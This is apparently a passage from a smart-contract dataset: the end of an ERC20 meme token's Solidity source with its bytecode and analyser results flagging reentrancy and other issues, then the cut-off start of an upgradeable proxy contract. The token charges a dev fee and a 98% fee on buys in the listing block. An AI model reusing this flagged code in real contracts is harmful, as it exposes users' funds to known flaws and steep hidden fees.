emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// antibot mechanism
if (block.number == listingOn && to != uniswapV2Pair) {
_feeAddr2 = 98;
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFeeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
listingOn = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _devFeeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFeeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function enableTrading() external onlyOwner() {}
} | 0x6080604052600436106100f75760003560e01c80638a8c523c1161008a578063c3c8cd8011610059578063c3c8cd8014610313578063c9567bf91461032a578063dd62ed3e14610341578063e7acdf211461037e576100fe565b80638a8c523c146102695780638da5cb5b1461028057806395d89b41146102ab578063a9059cbb146102d6576100fe565b8063313ce567116100c6578063313ce567146101d35780636fc3eaec146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a9565b6040516101259190612423565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612013565b6103e6565b6040516101629190612408565b60405180910390f35b34801561017757600080fd5b50610180610404565b60405161018d9190612585565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fc0565b610415565b6040516101ca9190612408565b60405180910390f35b3480156101df57600080fd5b506101e86104ee565b6040516101f591906125fa565b60405180910390f35b34801561020a57600080fd5b506102136104f7565b005b34801561022157600080fd5b5061023c60048036038101906102379190611f26565b610569565b6040516102499190612585565b60405180910390f35b34801561025e57600080fd5b506102676105ba565b005b34801561027557600080fd5b5061027e61070d565b005b34801561028c57600080fd5b506102956107a4565b6040516102a2919061233a565b60405180910390f35b3480156102b757600080fd5b506102c06107cd565b6040516102cd9190612423565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190612013565b61080a565b60405161030a9190612408565b60405180910390f35b34801561031f57600080fd5b50610328610828565b005b34801561033657600080fd5b5061033f6108a2565b005b34801561034d57600080fd5b5061036860048036038101906103639190611f80565b610deb565b6040516103759190612585565b60405180910390f35b34801561038a57600080fd5b50610393610e72565b6040516103a09190612585565b60405180910390f35b60606040518060400160405280600f81526020017f47696e676572627265616420496e750000000000000000000000000000000000815250905090565b60006103fa6103f3610e78565b8484610e80565b6001905092915050565b6000683635c9adc5dea00000905090565b600061042284848461104b565b6104e38461042e610e78565b6104de85604051806060016040528060288152602001612bd560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610494610e78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114419092919063ffffffff16565b610e80565b600190509392505050565b60006009905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610538610e78565b73ffffffffffffffffffffffffffffffffffffffff161461055857600080fd5b6000479050610566816114a5565b50565b60006105b3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611511565b9050919050565b6105c2610e78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610646906124e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610715610e78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610799906124e5565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f47494e0000000000000000000000000000000000000000000000000000000000815250905090565b600061081e610817610e78565b848461104b565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610869610e78565b73ffffffffffffffffffffffffffffffffffffffff161461088957600080fd5b600061089430610569565b905061089f8161157f565b50565b6108aa610e78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e906124e5565b60405180910390fd5b600c60149054906101000a900460ff1615610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e90612565565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a1730600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610e80565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a5d57600080fd5b505afa158015610a71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a959190611f53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610af757600080fd5b505afa158015610b0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2f9190611f53565b6040518363ffffffff1660e01b8152600401610b4c929190612355565b602060405180830381600087803b158015610b6657600080fd5b505af1158015610b7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9e9190611f53565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c2730610569565b600080610c326107a4565b426040518863ffffffff1660e01b8152600401610c54969594939291906123a7565b6060604051808303818588803b158015610c6d57600080fd5b505af1158015610c81573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ca69190612080565b5050506001600c60166101000a81548160ff021916908315150217905550683635c9adc5dea00000600d819055506001600c60146101000a81548160ff02191690831515021790555043600e81905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d9592919061237e565b602060405180830381600087803b158015610daf57600080fd5b505af1158015610dc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de79190612053565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612545565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5790612485565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161103e9190612585565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b290612525565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112290612445565b60405180910390fd5b6000811161116e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116590612505565b60405180910390fd5b6001600881905550600a6009819055506111866107a4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111f457506111c46107a4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561143157600c60159054906101000a900460ff161580156112645750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561127c5750600c60169054906101000a900460ff165b156112bc57600061128c30610569565b905060008111156112a1576112a08161157f565b5b600047905060008111156112b9576112b8476114a5565b5b50505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113675750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113bd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561143057600e54431480156114215750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142f5760626009819055505b5b5b61143c838383611807565b505050565b6000838311158290611489576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114809190612423565b60405180910390fd5b5060008385611498919061274b565b9050809150509392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561150d573d6000803e3d6000fd5b5050565b6000600654821115611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90612465565b60405180910390fd5b6000611562611817565b9050611577818461184290919063ffffffff16565b915050919050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115b7576115b66128a6565b5b6040519080825280602002602001820160405280156115e55781602001602082028036833780820191505090505b50905030816000815181106115fd576115fc612877565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561169f57600080fd5b505afa1580156116b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d79190611f53565b816001815181106116eb576116ea612877565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061175230600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e80565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117b69594939291906125a0565b600060405180830381600087803b1580156117d057600080fd5b505af11580156117e4573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b61181283838361188c565b505050565b6000806000611824611a57565b9150915061183b818361184290919063ffffffff16565b9250505090565b600061188483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ab9565b905092915050565b60008060008060008061189e87611b1c565b9550955095509550955095506118fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bce90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119dd81611c2c565b6119e78483611ce9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a449190612585565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea000009050611a8d683635c9adc5dea0000060065461184290919063ffffffff16565b821015611aac57600654683635c9adc5dea00000935093505050611ab5565b81819350935050505b9091565b60008083118290611b00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af79190612423565b60405180910390fd5b5060008385611b0f91906126c0565b9050809150509392505050565b6000806000806000806000806000611b398a600854600954611d23565b9250925092506000611b49611817565b90506000806000611b5c8e878787611db9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611441565b905092915050565b6000808284611bdd919061266a565b905083811015611c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c19906124a5565b60405180910390fd5b8091505092915050565b6000611c36611817565b90506000611c4d8284611e4290919063ffffffff16565b9050611ca181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bce90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cfe82600654611b8490919063ffffffff16565b600681905550611d1981600754611bce90919063ffffffff16565b6007819055505050565b600080600080611d4f6064611d41888a611e4290919063ffffffff16565b61184290919063ffffffff16565b90506000611d796064611d6b888b611e4290919063ffffffff16565b61184290919063ffffffff16565b90506000611da282611d94858c611b8490919063ffffffff16565b611b8490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611dd28589611e4290919063ffffffff16565b90506000611de98689611e4290919063ffffffff16565b90506000611e008789611e4290919063ffffffff16565b90506000611e2982611e1b8587611b8490919063ffffffff16565b611b8490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e555760009050611eb7565b60008284611e6391906126f1565b9050828482611e7291906126c0565b14611eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea9906124c5565b60405180910390fd5b809150505b92915050565b600081359050611ecc81612b8f565b92915050565b600081519050611ee181612b8f565b92915050565b600081519050611ef681612ba6565b92915050565b600081359050611f0b81612bbd565b92915050565b600081519050611f2081612bbd565b92915050565b600060208284031215611f3c57611f3b6128d5565b5b6000611f4a84828501611ebd565b91505092915050565b600060208284031215611f6957611f686128d5565b5b6000611f7784828501611ed2565b91505092915050565b60008060408385031215611f9757611f966128d5565b5b6000611fa585828601611ebd565b9250506020611fb685828601611ebd565b9150509250929050565b600080600060608486031215611fd957611fd86128d5565b5b6000611fe786828701611ebd565b9350506020611ff886828701611ebd565b925050604061200986828701611efc565b9150509250925092565b6000806040838503121561202a576120296128d5565b5b600061203885828601611ebd565b925050602061204985828601611efc565b9150509250929050565b600060208284031215612069576120686128d5565b5b600061207784828501611ee7565b91505092915050565b600080600060608486031215612099576120986128d5565b5b60006120a786828701611f11565b93505060206120b886828701611f11565b92505060406120c986828701611f11565b9150509250925092565b60006120df83836120eb565b60208301905092915050565b6120f48161277f565b82525050565b6121038161277f565b82525050565b600061211482612625565b61211e8185612648565b935061212983612615565b8060005b8381101561215a57815161214188826120d3565b975061214c8361263b565b92505060018101905061212d565b5085935050505092915050565b61217081612791565b82525050565b61217f816127d4565b82525050565b600061219082612630565b61219a8185612659565b93506121aa8185602086016127e6565b6121b3816128da565b840191505092915050565b60006121cb602383612659565b91506121d6826128eb565b604082019050919050565b60006121ee602a83612659565b91506121f98261293a565b604082019050919050565b6000612211602283612659565b915061221c82612989565b604082019050919050565b6000612234601b83612659565b915061223f826129d8565b602082019050919050565b6000612257602183612659565b915061226282612a01565b604082019050919050565b600061227a602083612659565b915061228582612a50565b602082019050919050565b600061229d602983612659565b91506122a882612a79565b604082019050919050565b60006122c0602583612659565b91506122cb82612ac8565b604082019050919050565b60006122e3602483612659565b91506122ee82612b17565b604082019050919050565b6000612306601783612659565b915061231182612b66565b602082019050919050565b612325816127bd565b82525050565b612334816127c7565b82525050565b600060208201905061234f60008301846120fa565b92915050565b600060408201905061236a60008301856120fa565b61237760208301846120fa565b9392505050565b600060408201905061239360008301856120fa565b6123a0602083018461231c565b9392505050565b600060c0820190506123bc60008301896120fa565b6123c9602083018861231c565b6123d66040830187612176565b6123e36060830186612176565b6123f060808301856120fa565b6123fd60a083018461231c565b979650505050505050565b600060208201905061241d6000830184612167565b92915050565b6000602082019050818103600083015261243d8184612185565b905092915050565b6000602082019050818103600083015261245e816121be565b9050919050565b6000602082019050818103600083015261247e816121e1565b9050919050565b6000602082019050818103600083015261249e81612204565b9050919050565b600060208201905081810360008301526124be81612227565b9050919050565b600060208201905081810360008301526124de8161224a565b9050919050565b600060208201905081810360008301526124fe8161226d565b9050919050565b6000602082019050818103600083015261251e81612290565b9050919050565b6000602082019050818103600083015261253e816122b3565b9050919050565b6000602082019050818103600083015261255e816122d6565b9050919050565b6000602082019050818103600083015261257e816122f9565b9050919050565b600060208201905061259a600083018461231c565b92915050565b600060a0820190506125b5600083018861231c565b6125c26020830187612176565b81810360408301526125d48186612109565b90506125e360608301856120fa565b6125f0608083018461231c565b9695505050505050565b600060208201905061260f600083018461232b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612675826127bd565b9150612680836127bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126b5576126b4612819565b5b828201905092915050565b60006126cb826127bd565b91506126d6836127bd565b9250826126e6576126e5612848565b5b828204905092915050565b60006126fc826127bd565b9150612707836127bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127405761273f612819565b5b828202905092915050565b6000612756826127bd565b9150612761836127bd565b92508282101561277457612773612819565b5b828203905092915050565b600061278a8261279d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127df826127bd565b9050919050565b60005b838110156128045780820151818401526020810190506127e9565b83811115612813576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b988161277f565b8114612ba357600080fd5b50565b612baf81612791565b8114612bba57600080fd5b50565b612bc6816127bd565b8114612bd157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220536442316927f0d4d5d02257b1c73e4707828a822fd3cdc47830693a46cbd42964736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 954 |
0x375c48a3a3685d7e28eb45e612da6dd51c7e38e0 | /**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
